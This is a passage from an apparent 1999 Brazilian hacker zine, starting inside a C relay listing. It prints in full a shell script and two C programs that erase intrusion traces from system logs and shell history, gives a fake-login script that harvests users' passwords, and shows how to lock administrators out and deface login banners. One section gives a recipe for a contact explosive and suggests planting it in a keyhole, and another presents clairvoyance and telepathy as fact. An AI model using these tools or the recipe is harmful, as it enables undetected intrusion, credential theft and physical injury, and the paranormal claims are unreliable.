            if (num==0) return;
            if (num>0) {
                spos += num;
                stail += num;
                if (!--nfd) continue;
            }
        }
        if (FD_ISSET(cfd, &rd)) {
            num=read(cfd,ctail,sizeof(cbuf)-cpos);
            if ((num==-1) && (errno != EWOULDBLOCK)) return;
            if (num==0) return;
            if (num>0) {
                cpos += num;
                ctail += num;
                if (!--nfd) continue;
            }
        }
        if (FD_ISSET(sfd, &wr)) {
            num=write(sfd,chead,ctail-chead);
            if ((num==-1) && (errno != EWOULDBLOCK)) return;
            if (num>0) {
                chead += num;
                if (chead == ctail) {
                    chead = ctail = cbuf;
                    cpos = 0;
                }
                if (!--nfd) continue;
            }
        }
        if (FD_ISSET(cfd, &wr)) {
            num=write(cfd,shead,stail-shead);
            if ((num==-1) && (errno != EWOULDBLOCK)) return;
            if (num>0) {
                shead += num;
                if (shead == stail) {
                    shead = stail = sbuf;
                    spos = 0;
                }
                if (!--nfd) continue;
            }
        }
    }
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

   Rapido e pratico. =)

     Cheat Struck               cheat@struck.8m.com
     `'`'` `'`'`'               `'`'`'`'`'`'`'`'`'`

-=[  8  ]=-
.--------------.
| = Satelites = \____________________________________________________________
`----------------------------------------------------------------------------'
                                por Troy_Psx

Oi =) Este sera um dos meus primeiros textos para a zine zine, por isso, sem
reclamacoes. O assunto nao e' de grande interesse de todos mas muito util para
quem quer comecar a entender um pouco de transmissao via satelite
(falarei o basico nessa materia e o resto vai chegando nas proximas zines).

Introducao:

O que um satelite faz?

Bem rapida explicacao... ele pega dados mandandos por uma central na terra
(pode ser sua casa, mais voce precisa de uma antena bem grande =) e manda para
um outro lugar.

Oq ele pode fazer?

Ele pode amarzenar as informacoes recebidas, guarda-las para ser mandado
depois, pode processar as informacoes e manda-la ou o basico so retransmitir.

Historia:

Em 1957, o primeiro cabo submarino ja' tinha 1 ano de vida, as comunicacoes
telefonicas entre paises era feitas por radio HF (que tempo bom esse).
Bem a transmissao por radio, ja' estava sendo superada pelos cabos submarinos
de alta capacidade, mais como nada e perfeito a capacidade era limitada a 1
canal de tv.
Em 1941 a Bell System tinha 600 canais telefonicos internacionais e queria
1200 canais para suportar a demanda. Era emergencial alguma coisa que
conseguisse suportar a demanda, em pouco tempo para desenvolvimento.
Existiam varias ideias uma delas era construir estacao repetidora, montada
sobre uma torre de 640km de altura.
Em 1946 o Army Signal Corps (parte de comunicacoes do exercito dos Eua)
divulgou o projeto DIANA, ele consistia na captacao de sinais enviados por
estacoes terrenas, repetidas pelo satelite natural da Terra(quase mais ainda
nao era O satelite).
Depois em 1954 a marinha do Eua comecou a desenvolver um projeto meio pare-
cido, mais utilizando a Lua como repetidor passivo, chamou-se CMR(Communica-
tion by Moon Relay)
Em 1959 foi realizada a primeira transmissao em fonia usando a Lua como nosso
satelite de comunicacao(conseguiu operar sem problemas 5 anos)
A Uniao Sovietica e os Eua jah podiam lancar dispositivos artificiais, os Eua
lancaram o SCORE (Signal Communications by Orbiting Relay Equipament) o 1 sa-
telite de comunicacoes, isso aconteceu em 1958 lancado atraves do foguete
ATLAS, pesava 40 quilos e funcionou como repetidor de sinais de fonia e tele-
tipo. Depois de 11 dias o SCORE morreu por causa do esgotamento das suas ba-
terias(mais um problema as baterias que acabavam muito rapido). O SCORE tinha
a forma de um cone.
Logo depois lancaram 1 satelite com celulas solares (o COURRIER 1-B pessava
250kg) sua alimentacao era feita por 2.000 celulas solares, transmitiu 118
milhoes de palavras em 18 dias de vida, o motivo da sua morte foi a falha nas
baterias, ele tinha a forma redonda (parecia uma bola de futebol mais com
250kg e um pouco maior).

Bem falei um pouco da historia. Na proxima zine falerei de mais satelites
enviados para o ceu e como eles funcionavam =)

     Troy_Psx               troy_psx@brasnet.org
     `'`'`'`'               `'`'`'`'`'`'`'`'`'`'

-=[  9  ]=-
.------------------------.
|     =  Explosivo  =     \__________________________________________________
`----------------------------------------------------------------------------'
                                 por Cacaio

Este explosivo e' muito simples de fazer, e os materiais podem ser conseguidos
com facilidade por qualquer pessoa. Eu recomendo que este explosivo seja feito
em partes pequenas e que so' seja feito quando voce quiser usa-lo.
Ele nao deve ser armazenado.

Voce precisara' dos seguintes materiais:

    .oO  1 tubo de ensaio
  ...oO   1 funil de vidro
.....oO    1 filtro de papel
  ...oO   amonia
    .oO  cristais de iodo

Como fazer:

Coloque uma pequena quantidade dos cristais dentro do tubo de ensaio.
Em seguida, coloque a mesma quantidade de amonia e sacuda o tubo de ensaio
um pouco para ter certeza que todos os cristais foram molhados por todos os
lados pela amonia. Entao, coloque o filtro de papel no funil e coloque a
substancia no filtro. Toda a amonia deve escorrer pelo funil e voce deve ter
uma substancia pastosa com cor que deve variar entre preta e arroxeada.
Essa substancia e' o que voce quer. Isto e' muito explosivo agora, bem, nem
tanto, mas tem potencial.
Eu esqueci de dizer que esta substancia e' sensivel a movimentos. Qualquer
vibracao pode detonar. E' claro, quanto mais molhada a substancia esta',
menos ativa ela esta'.
Agora, coloque esta substancia onde voce quiser. Voce pode colocar em um
buraco de chaves, no chao, em qualquer lugar. Va' para longe e deixe a
substancia secar. A substancia na verdade so' e' explosiva quando esta' seca.
Agora, tome cuidado. Ate' mesmo a poeira ou o vento podem detonar seu
explosivo.

Este explosivo pode ser melhor utilizado se utilizado como detonador.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  10  ]=-
.---------------.
| = Clean Logz = \___________________________________________________________
`----------------------------------------------------------------------------'
                                por ReNeGaDe

      Nesta materia,  resolvi falar um pouco sobre um assunto que  esta sendo
muito comentado em listas de discursoes e etc... Irei citar dois "programas"
como exemplo que sao o SADAN um shell script e o Trash.c um exploit ambos
testados por mim. Acompanhando sua autenticidade no que diz que fazem.
Agora deixa de xeiro-mole e vamos logo comecar.

     .-------------------.
     | 1.1  SADAN         `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

      Neste shell script foi constatado que de um modo ele realmente faz o
que diz, mais jah se o admin do sistema nao for descuidado com seus logz
ele nao fara efeito sobre o sistema que esta sendo feita ah limpeza.

     .-------------------.
     | 1.2  O .SH         `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

      O mesmo foi um pouco modificado sem retirar ah autenticidade do
programa em si pois nele contia umas babozeiras tipo "few words" sem tirar
os creditos do author. (sysdenial do NFO LABS) Preservando o tamanho da
nossa zine.

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

#!/bin/bash

procura_log () {
        find $DIR_LOG -name *lastlog* >.logs
        find $DIR_LOG -name *wtmp* >>.logs
        find $DIR_LOG -name *utmp* >>.logs
        find $DIR_LOG -name *syslog* >>.logs
        find $DIR_LOG -name *xferlog* >>.logs
        find $DIR_LOG -name *maillog* >>.logs
        find $DIR_LOG -name *messages* >>.logs
        find $DIR_LOG -name *msgs* >>.logs
        find $DIR_LOG -name *access_log* >>.logs
        find $DIR_LOG -name *error_log* >>.logs
        find $DIR_LOG -name *secure* >>.logs
        find $DIR_LOG -name *log.* >>.logs
        find $DIR_LOG -name *.log* >>.logs
        LINHA=`wc .logs |cut -c-7`
}
console () {
        echo "[S] Procurando utilitarios de auditoria..."
        if [ -s /bin/monitor ]; then
                echo -n "[S] Encontrado Nelson Brito/monitor :)..."
                if [ `w | grep monitor` ]; then
                        echo -n "Monitor On-line :(..."
                        killall -9 monitor 1>/dev/null 2>/dev/null
                        echo -n "nao esta mais ! :)..."
                fi
                find /home -name fucking.log >.tmp
                find /home -name .lastlog.log >>.tmp
                for monitor in `cat .tmp`
                do
                        cat $monitor | grep -v $MY_IP > $monitor
                done
                echo "ok"
        fi
        echo -n "[S] Killando qualquer especie de monitoramento..."
        killall -9 tail 1>/dev/null 2>/dev/null;echo "ok"
        echo -n "[S] Aguarde, procurando logs..."
        procura_log;
        echo "encontrados $LINHA logs"
        sleep 5
        echo -n "[S] Procurando seu IP nos logs..."
        for log in `cat .logs`
        do
                echo -n " -> in $log..."
                true=`cat $log | grep -i $MY_IP`
                if [ "$true" ]; then
                        echo -n "ENCONTRADO..."
                        cat $log | grep -v $MY_IP > temp
                        mv temp $log
                        echo "APAGADO !!"
                else
                        echo "no"
                fi
        done
        echo "[S] Sadan terminou de apagar os logs."
        echo -n "[S] Verificando historys..."
        unset HISTFILE;echo "" > /root/.bash_history
        if [ -s /.bash_history ]; then
                echo "" > /.bash_history
        fi
        if [ -s /tmp/.bash_history ]; then
                echo "" > /tmp/.bash_history
        fi
        echo "ok"
        killall -HUP syslogd 1>/dev/null 2>/dev/null
        echo "[S] have a nice day ! :)"
}
help () {
        echo "    Use:  $0  <seu_ip> [dir_log]"
        echo "Exemplo:  $0  200.241.234.26"
      echo "     ou:  $0  200.241.234.26 /var/log" ; echo
        echo "   nota:      -> O [dir_log] default e /"
        echo "              -> Use seu ip e seu host tambem" ; echo ; echo
; ex$}

if [ `whoami` != "root" ]; then
        echo "[S] Execute somente como root"
        exit
fi

if [ "$2" = "" ]; then
        DIR_LOG="/"
else
        DIR_LOG=$2
fi
echo; echo ; echo "[S] SADAN del log 4.0 - PORTUGUES"
echo "[S] sysdenial - tdoors@mailbr.com.br"
echo "[S] NFO Group OwnZ - Brazil - Out/99"
if [ "$1" = "" ]; then
        help;
else
        MY_IP="$1"
        console;
fi

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

     .-------------------.
     | 1.3  USO DO SADAN  `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

renegade:/home/renegade# ./sadan.sh

[S] SADAN del log 4.0 - PORTUGUES
[S] sysdenial - tdoors@mailbr.com.br
[S] NFO Group OwnZ - Brazil - Out/99
    Use:  ./sadan.sh  <seu_ip> [dir_log]
Exemplo:  ./sadan.sh  200.241.234.26
     ou:  ./sadan.sh  200.241.234.26 /var/log

   nota:      -> O [dir_log] default e /
              -> Use seu ip e seu host tambem

renegade:/home/renegade#

      Deu pra entender jah ne? O mesmo ate eh em portugues...

     .-------------------.
     | 1.4  BUG           `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

      Nao eh bem um bug e sim um falha do script... Pois bem, o mesmo nao
funciona  se os  arquivos  de log do sistema estiver setado com attributo
+a de append quer dizer um bom admin conhece bem as facanhas do Ext2. Mais
que poderia ser obtido resultado driblando isto de outro jeito ae jah iria
dar outra materia e nao tenho sako pra fazer outra mais nao. Mas o
author deve fazer isso e deve implementar numa proxima versao, se tiver
conhecimento do mesmo.

     .-------------------.
     | 1.5 CORRECAO       `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

      Axo que jah tah bem explicado ae em cima setem a permissao +a nos
seus aquivos de logs inclusive no /var/log sem esquecer dos .bash_history
pois o SADAN nao esquece deles nao.

     .-------------------.
     | 1.6  CONCLUSAO     `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

      O mesmo eh um bom script, pois nada eh 100% entao, esperamos um
pouco mais dele numa proxima versao. Sendo bem discreto quando funciona
pois nao deixa rastro pro admin suspeitar que teve seu sistema violado.

     .-------------------.
     | 2.1  TRASH.C       `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

      O que achei do mesmo foi que ele age bruscamente... apenas apagando
os logz... bem simples.

     .-------------------.
     | 2.2  SOURCE        `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

/*

        /------------------------------------\
        | Trash - Log Cleaner for Unix/Linux |
        \------------------------------------/

        This program is free
        You need root access

        - SPECIAL THANKS:
          unYcs
          talisma
          Stealth Eagle
          xnd

*/

main()
{
        char ch;

        printf("Trash 0.51 ( Acrylic BSDi )\n");
        printf("do you want clean (y/n):");
        ch = getchar();

        switch(ch){
        case 'y':
                clean();
        case 'n':
                not();
        case 'Y':
                clean();
        case 'N':
                not();
        default:
                printf("\n\nyou not choice any options!\n");
                exit(1);
        }
}

clean()
{
        system("clear");
        printf("clean log /var/log/messages\n");
        system("rm /var/log/messages -f");
        printf("clean log /var/log/secure\n");
        system("rm /var/log/secure -f");
        printf("clean log /var/log/sendmail.st\n");
        system("rm /var/log/sendmail.st -f");
        printf("clean log /var/log/httpd/*\n");
        system("rm /var/log/httpd/* -f");
        printf("clean log /var/log/pppd.*\n");
        system("rm /var/log/pppd* -f");
        printf("clean log /var/log/maillog\n");
        system("rm /var/log/maillog -f");

        printf("\n** ============================== **\n\n");
        logo();
        exit(1);
}

not()
{
        system("clear");
        printf("aborted...\n\n");
        logo();
        exit(1);
}

logo()
{
        printf("Trash Log Clean!\nby Acrylic
BSDi\ntucot@yahoo.com\n\n\n");
}

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

     .-------------------.
     | 2.3  CONCLUSAO     `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

      Cheguei ah conclusao que tambem nele quando um sistema tem
permissoes certas pro seus logz ele tambem nao age como o esperado.

      Eh isso ae pessoal aqui se encerra minha materia nessa DeathKnights!

      Se  tiverem interesse  em  tirar  duvidas ou  apresentar  novas
  ideias, aqui estah o meu email. Mais sem babozeiras hein pessoal vamos
  ter um bom senso pois nao sou desocupado.

         cya l8er!

     ReNeGaDe               renegade@dsgx.org
     `'`'`'`'               `'`'`'`'`'`'`'`'`

-=[  11  ]=-
.-------------------------------------.
| =  Transformando decimais em hexa  = \_____________________________________
`----------------------------------------------------------------------------'
                                 por encripty

        Voce ja deve ter ouvido falar sobre numeros hexadecimais. Eles sao
indispensaveis para quem esta ingressando na linguagem assembly.
	Assim como o sistema decimal(dia-dia), o hexadecimal tem sua forma de
contagem... por exemplo...

        Decimal: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
    Hexadecimal: 1 2 3 4 5 6 7 8 9  0 a  b  c  d  e  f

Importante: "O hexadecimal para ai' no F!"

        Deu pra sacar?

	Okay! Mas se eu quiser tranformar um decimal num hexa.. e vice-versa.
Seguinte... Divide o Decimal por 16(sabe por que neh?) e vai guardando os
restos de baixo para cima... CALMA!!!! Vamos ao exemplo tomando o numero 1994
como exemplo =)...

	 _______________________________________________________
	|							|
	| 1994 / 16 -> Quoficiente: 124 - Resto: 10 -> 10 = A	|
	| 124 / 16 -> Quoficiente: 7 - Resto: 12 -> 12 = C	|
	| 7 / 16  -> Quoficiente: 0 - Resto: 7 -> 7 = 7		|
	|_______________________________________________________|

Agora tomando os restos de baixo para cima: 7CAh
7CAh e' o 1994 representado na forma hexadecimal.

Acrescenta-se o 'h' para sabermos que o numero esta' escrito na forma
hexadecimal, do contrario, se olharmos '7CA' poderiamos associa-lo a qualquer
outra base numerica. (Octadecimal por exemplo).

Vamos ao processo contrario: Bastando escrever o numero, multiplicando cada
digito pela potencia correta, levando-se em conta a equivalencia das letras
com a base decimal:

	 _______________________________________________________
	|	7CAh = (7 * 16^2) + (C * 16^1) + (A * 16^0) =   |
        |		|	     |	 	  |		|
	|	       (7 * 16^2) + (12 * 16^1) +(10 * 16^0) =  |
        |							|
        |                 1792 + 192 + 10 = 1994  		|
	|_______________________________________________________|

        Poderemos tambem usar a mesma regra para base binaria.

	 _________________________________________________________________
 	|  12 / 2      -> Q=6, R=0                                        |
 	|  6 / 2       -> Q=3, R=0                                        |
	|  3 / 2       -> Q=1, R=1                                        |
	|  1 / 2       -> Q=0, R=1                                        |
	|                                                                 |
	|  12 = 1100b                                                     |
	|_________________________________________________________________|

Ou seja, dividimos por dois porque a base binaria, como voce ja deve saber, e'
composta por apenas 2 digitos: 1 e 0. O 1100 -> b <- Vem de Binary.
Assim como o h vem de hexadecimal.

        Processo contrario:

		1100b = (1 * 2^3) + (1 * 2^2) + (0 * 2^1) + (0 * 2^0) =
			   |		|	    |		|
			   8      +     4     +     0	  +     0   = 12

                Legal ne'?

    A vantagem de usarmos um numero em base hexadecimal e' que cada digito
hexadecimal equivale a quatro digitos binarios.
Faca as contas: Quatro bits podem conter apenas 16 numeros (de 0 a 15), que e'
exatamente a quantidade de digitos na base hexadecimal.

     encripty               encripty@starmedia.com
     `'`'`'`'               `'`'`'`'`'`'`'`'`'`'`'

-=[  12  ]=-
.----------------------------------------------.
| = Explicando um bocadinho sobre telefonia.. = \____________________________
`----------------------------------------------------------------------------'
                                por darksystem

bommx, vou trocar umas ideias sobre telefonia com vcs.., vou explicar pq nao
se pode fazer ligacoes gratuitas em telefones residenciais.

qndo vc efetua uma chamada, a central telefonica, identifica de onde vc esta
discando.. identifica tb qual o tipo de telefone vc esta usando, se eh publico
ou residencial, e entao, ela arquiva pra onde esta sendo feita a ligacao, e
toma algumas providencias necessarias para serem feitas as devidas cobrancas..
a identificacao, eh feita na fonte e nao por um sinal enviado por seu aparelho
telefonico, assim, se vc estiver em sua residencia, tudo indica q eh meio
impossivel, vc tentar 'driblar' a cobranca..

     darksystem               auwwx@hotmail.com
     `'`'`'`'`'               `'`'`'`'`'`'`'`'`

-=[  13  ]=-
.-------------------------------------.
| = Niveis: Beta, Alfa, Teta e Delta = \_____________________________________
`----------------------------------------------------------------------------'
                                 por Cacaio

     .---------------.
     | Nivel ALFA     `----------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

Entrar em alfa e' entrar em estado de profundidade mental, de concentracao.
E' atravez do relaxamento, da calma, que se entra em nivel alfa.

De acordo com a teoria corrente, existem quatro estados de consciencia: nivel
beta, nivel alfa, nivel teta e nivel delta.

O cerebro emite minusculos impulsos eletroquimicos e a maior ou menor
frequencia dessas pulsacoes, ou ciclos, determina seu estado atual de
consciencia.
Quanto mais elevada a sua frequencia mental, menor a sua capacidade. Quanto
maior sua frequencia cerebral, maior a sua capacidade.

     .---------------.
     | Nivel BETA     `----------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

O nivel BETA e' o estado mental em que voce se encontra agora. E' o estado de
vigilia, e' o estado maximo da mente consciente. O nivel Beta representa a
mais alta ciclagem cerebral, correspondendo a uma media de 21 ciclos por
segundo. Mas essa pulsacao cerebral pode se elevar ate' a 60 ciclos ou mais,
e isto ocorre quando voce esta' agitado, nervoso, em panico, assustado,
apavorado, tenso, ansioso. Observe que, quanto maior e' a sua frequencia
cerebral, menor e' a sua capacidade mental, a tal ponto que na frequencia
maxima pode gerar um "branco total" na mente ou ate' mesmo paralisar a mente.

Voce viu que, conforme a situacao emocional, o seu nervosismo e a sua tensao,
a frequencia cerebral vai acelerando mais e mais, e isso faz diminuir
proporcionalmente sua lucidez mental. E' por isso que muitos estudantes se dao
mal nos exames, embora tenham preparado bem a materia: entram no exame em
estado de tensao e panico, e isto so' faz bloquear a inteligencia. Depois,
tudo acabado, quando nada mais se pode fazer, ao voltarem para casa comecam a
se lembrar das respostas que nao lhes ocorrera na sala do exame. E' obvio,
agora mais relaxados, a mente passa a funcionar melhor.

Vejam por outro lado, o que e' que acontece quando duas pessoas comecam a
discutir violentamente, a trocar ofensas e a gritar. Mesmo que fiquem ai'
nesse bate-boca por cinco horas, no final de tudo perceberao que nada se
aproveita do que disseram. E' que nessa ciclagem cerebral a mente nao
raciocina bem. Parem, pois, de discutir, que isso nao leva a nada. Na
discussao, pouco ou nada se aproveita. O dialogo sim e' proficuo, porque o tom
do dialogo e' um tom calmo e, neste caso, a pulsacao cerebral de aproxima dos
21 ciclos, o que permite um raciocinio logico, analitico e razoavel.

Mas, o mapa da mina esta' no nivel ALFA.
Entrar em nivel ALFA e' descer a um estado de relaxamento profundo, mantendo a
mente e o corpo, atravez de tecnicas adequadas, em paz, em calma, sem tensoes
fisicas e emocionais.
Voce consegue descer ao nivel alfa nao so atraves de relaxamento profundo,
como tambem pela meditacao, pela contemplaaco. O ritmo cerebral se situa entre
7 e 14 ciclos por segundo, sendo que a media e' 10,5 por segundo.

Neste nivel mais profundo, aumenta o campo da sua inteligencia, da sua memoria,
da sua criatividade, da sua inspiracao, da sua percepcao sensorial e
extra-sensorial e a sua intuicao e' mais aguda.

E' neste nivel que voce pode fazer clarividencia, telepatia, precognicao e
usar os demais dons extra-sensoriais e paranormais.

Toda programacao mental que voce fizer em nivel alfa sensibilizara' de modo
efeitov seu subconsciente.
Voce sabe que, quanto mais profundamente gravar uma determinacao ou desejo no
subconsciente, mais forte e rapidamente ele cumpre. O nivel alfa, portanto, e'
o nivel ideal para gravar profundamente.

     .------------------------------.
     | Como entrar em nivel ALFA     `-------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

Ligue uma musica bem calma e coloque-se numa posicao bem confortavel. Relaxe,
relaxe, relaxe. Respire profundamente algumas vezes.

Concentre a sua atencao nas diversas partes do seu corpo e va' relaxando uma
por uma. Voce estara' relaxando se sentir, nessa parte, uma especie de formi-
gamento ou leveza, ou como se nao existisse essa parte do corpo.

A seguir, deseje sinceramente, com sentimento, ver alguem ou alguma coisa ou
transportar-se para algum lugar.

Relaxe mais e mais.

Agora voce esta' em condicoes de se programar, de mandar alguma ordem para o
seu subconsciente; esta' em condicoes de estudar e de resolver problemas.

Deseje que a pessoa, ou aquilo que pretende ver, apareca na tela de sua mente,
diante de voce.

Crie, imagine. No comeco sera' como se voce estivesse imaginando. A medida que
der certo, voce adquirira' mais autoconfianca e seguranca. Comece a
exercitar-se colocando na tela de sua mente uma flor e veja-a sob todos os
angulos, fazendo-a mudar de cor. Depois ponha na sua tela mental uma pessoa.
Faca exercicios. Para voce conseguir chegar a este ponto, basta praticar.

Se voce nao conseguir ver as imagens na sua tela mental, podera', entao,
sentir a realidade; oriente-se por esta sensacao. Talvez, ate', ouca vozes.

     .---------------.
     | Nivel TETA     `----------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

O nivel TETA e' o ultimo nivel mental que voce atinge em estado consciente. O
ritmo cerebral baixa entre 4 e 7 pulsos por segundo. E' como se voce estivesse
em estado de sonolencia. Voce chega ao limiar do sono. Mas voce esta' ainda
consciente, embora em baixa frequencia. Por sinal, quanto mais baixa a
frequencia, em estado consciente, maior e' a energia mental.

     .----------------.
     | Nivel Delta     `---------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

Quando voce desce a um ritmo cerebral abaixo de teta, entao voce entra em
DELTA, que e' o sono. O ritmo cerebral de DELTA se situa entre 4 e 0,5 ciclos
por segundo. Como neste estado, sua mente consciente nao atua, pouco se esta'
fazendo para aproveitar o nivel DELTA.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  14  ]=-
.----------------------.
| = Apagando Lastlogs = \____________________________________________________
`----------------------------------------------------------------------------'
                               por Cheat Struck

  Ola criancas!! Hj vamus aprender a apagar o Lastlog. Este eh o sistema
de logs mais usados pelos administradores de LUNIXES(LIKE UNIXES) por ser
o mais facil mesmo de ser usar.
  Para ver os ultimos logs de cada usuario basta entrar com o comando
"lastlog" e pimba! Voce tera o seguinte retorno:

[root@phear_me /]# lastlog
Username         Port     From             Latest
root             tty4                      Thu Nov 25 17:58:47 1999
struck           23       200.34.22.8      Thu Nov 25 21:04:23 1999
hack             23       202.466.0.24     Thu Nov 25 20:58:41 1999
[etc...]

   Bom... Agora para apaga-los voce tera que ter root no sys. Existe um
meio de "camuflar" seu ip caso voce nao consiga root lah, mas nao eh muito
seguro. De qualquer modo...

[struck@phear_me ~]$ telnet 127.0.0.1

  Parece loko neh? Mas acontece que assim ao invez do seu ip, o que vai
aparecer sera:

[root@phear_me /]# lastlog -u struck
Username         Port     From             Latest
struck           23       localhost        Thu Nov 25 18:04:23 1999

  =)
  Mas c agora quizermos falar serio sobre essa merda, primeiro da um geito
de r00ta lah para depois poder seguir com este texto.
  Vamos comecar pelo modo mais besta e mais facil, porem este modo soh
funfa em AIX, mas funciona.

bash# chsec -f /etc/security/lastlog -s struck -a host_last_login=
bash# chsec -f /etc/security/lastlog -s struck -a time_last_login=
bash# chsec -f /etc/security/lastlog -s struck -a tty_last_login=
bash# chsec -f /etc/security/lastlog -s struck -a unsuccessful_login_count=
bash# chsec -f /etc/security/lastlog -s struck -a time_last_unsuccessful_login=
bash# chsec -f /etc/security/lastlog -s struck -a tty_last_unsuccessful_login=
bash# chsec -f /etc/security/lastlog -s struck -a host_last_unsuccessful_login=

  Que coisa besta neh? Mas cunfiona mesmo e a maioria dos clearlogs para AIX
usam system() com estes comandos para apagar os logs do lastlog.
  Seguindo vamos ao ultimo passo. Ou voce da um rm no arquivo lastlog, o
que seria uma imprudencia pois o admin iria perceber logo, ou voce da uma
olhada neste programa a seguir que logo vai estar manjando.
  O que o programa faz eh abrir o arquivo do lastlog e procurar nele o
registro do ID especificado.
  Este programa foi muuuito simplificado para que voce possa coompreende-lo
melhor.

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/**********************************************************************/
/*                                                                    */
/* LastLog Ereaser by Cheat Struck                                    */
/*                                                                    */
/**********************************************************************/

#include <sys/file.h>                     /*  Estes 2 headers sao     */
#include <lastlog.h>                      /* necessarios.             */

#define LASTLOG_FILE "/var/log/lastlog"   /*  Indique o arquivo aki. */

void erase_lastlog(int id) {

  int file;
  struct lastlog ll;

  file=open(LASTLOG_FILE, O_RDWR);
  lseek(file, (long)id * sizeof (ll), 0);
  bzero((char *)&ll,sizeof( ll ));
  write(file, (char *)&ll, sizeof( ll ));
  close(file);

}

main(int argc, char *argv[]) {
 int uid;

 if(argc >= 2) {
  printf("LastLog Eraser by Cheat Struck\n");
  uid=atoi(argv[1]);
  erase_lastlog(uid);
  printf("Logs apagados\n");
 }
 else printf("Use %s <uid>\n",argv[0]);
}
/*EOF*/
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

  Prontinhu... Issu deve funcionar no resto dos UNIXES(linux,suns,bsd,etc).
Se algum outro sistema, nao aceitar estas t3kn33ks, porfavor gostaria de
ter conhecimento. So... mail-me!

     Cheat Struck               cheat@struck.8m.com
     `'`'` `'`'`'               `'`'`'`'`'`'`'`'`'`

-=[  15  ]=-
.------------------.
| = Login Kiddies = \________________________________________________________
`----------------------------------------------------------------------------'
                               por Cheat Struck

  H0h0h0h!
  Este eh soh mais um texto basico onde vou mostrar umas brincadeiras que
eh possivel fazer com o login num sistema 0wnado ou mesmo no seu proprio.
  Vamos ao que enteressa entaum...

  /etc/nologin
  ############

  C este arquivo existir no sistema, qquer outro usuario que nao seja o
root nao podera logar. Apos ele digitar o login/senha recebera a msg que
esta neste arquivo. Por exemplo:

RedHate Linux version 6.0 (moltar)

login: struck
Password:
Lamento, mas este sistema acaba de ser hackeado por The Death Knights!!

Login incorrect

  /etc/securetty
  ##############

  Neste arquivo estarao listados os terminais cujo o root podera usar.
Caso nao tenha nenhum ttyp* neste arquivo, nao sera possivel logar-se como
root por telnet.
  Caso a administracao do sistema seja feita remotamente (issu acontece em
muitos casos), o root nao podera fazer nada para reverter a situacao.
  Eh possivel logar-se como usuario normal e entao dar um su para
trasnformar-se em root. No entanto issu nao sera possivel se o arquivo
/etc/nologin existir.
  Caso voce tire todos os terminais deste arquivo, eu acredito que o root
ficara muito brabo ateh decidir rebootar a maquina. =)

  .hushlogin
  ##########

  Ter este arquivo no diretorio home significa que nao sera apresentada
nenhuma msg depois do logon. Nem a verificacao de emails, nem o lastlog.
  Issu sera muito util caso voce precise da senha de algum usuario. Entao
o que voce  faria seria editar o .bash_profile (no caso de usar bash como
shell) e colocar o seguinte conteudo:

echo -e '\n'Login incorrect'\n'
echo -e `uname -n` "login:" '\c'
read login
echo -e Password:'\c'
stty -echo
read pass
echo
echo $login >> /tmp/.log
echo $pass >> /tmp/.log
rm .bash_profile

  O que issu faiz eh iludir o usuario que ele errou a senha e entao pedi o
login/senha novamente e estes sao logados no arquivo /tmp/.log. Em seguida
o .bash_profile eh apagado para cobrir as pistas do ataque.

  /etc/motd e /etc/issue
  ######################

  Neste arquivo contem msgs que serao exibidas depois que os usuarios
logarem no sys. Pode c colocar alguma msg sinistra como "Este sistema de
merda foi 0wnado por The Death Knights!!!".
  Issu eh usado para mostrar a msg apenas aos usuarios com conta no
sistema e nao a qquer paguah que telneteie ali.
  Ja o /etc/issue mostra a mensagem antes do login. Neste caso qualquer
um pode ver que o sistema foi 0wnado.

  Bem... eh issu ae...
  Essas dicas podem ou nao te ajudar, mas o que interessa eh que issu
tudo eh conhecimento, e todo o conhecimento eh... ah esquece!
  Falowz!!!

     Cheat Struck               cheat@struck.8m.com
     `'`'` `'`'`'               `'`'`'`'`'`'`'`'`'`

-=[  16  ]=-
.------------------.
| Ultimas Palavras  \________________________________________________________
`----------------------------------------------------------------------------'
                                 por Cacaio

        Se voce quiser mandar um e-mail dizendo o que achou do zine, dar su-
        gestoes, reclamar, elogiar, meter o pau, colocar alguma materia,
        conversar, ganhar dinheiro, jogar palitinho.. ops.. aih nao... algo
        errado... mas mesmo assim, esteja a vontade.

        O proximo zine pode demorar um pouco para sair, mas saira'. Aguardem,
        mandem materias, mandem o que quiserem.
        A partir do proximo zine estaremos tambem publicando protestos.
        O MDP esta' nos ajudando com os protestos, os quais alguns ate' sao
        usados el alguns defacements. Mande seu protesto voce tambem. Caso
        queira, sua identidade sera' mantida sob sigilo absoluto.

        AVISO NOVAMENTE:

        Este grupo nao visa nenhum fim lucrativo. Mas se ganharmos alguma
        coisinha nao reclamaremos. HEH. Nos fazemos isto por diversao e
        nada mais. Qualquer uso das informacoes contidas aqui nao e de nossa
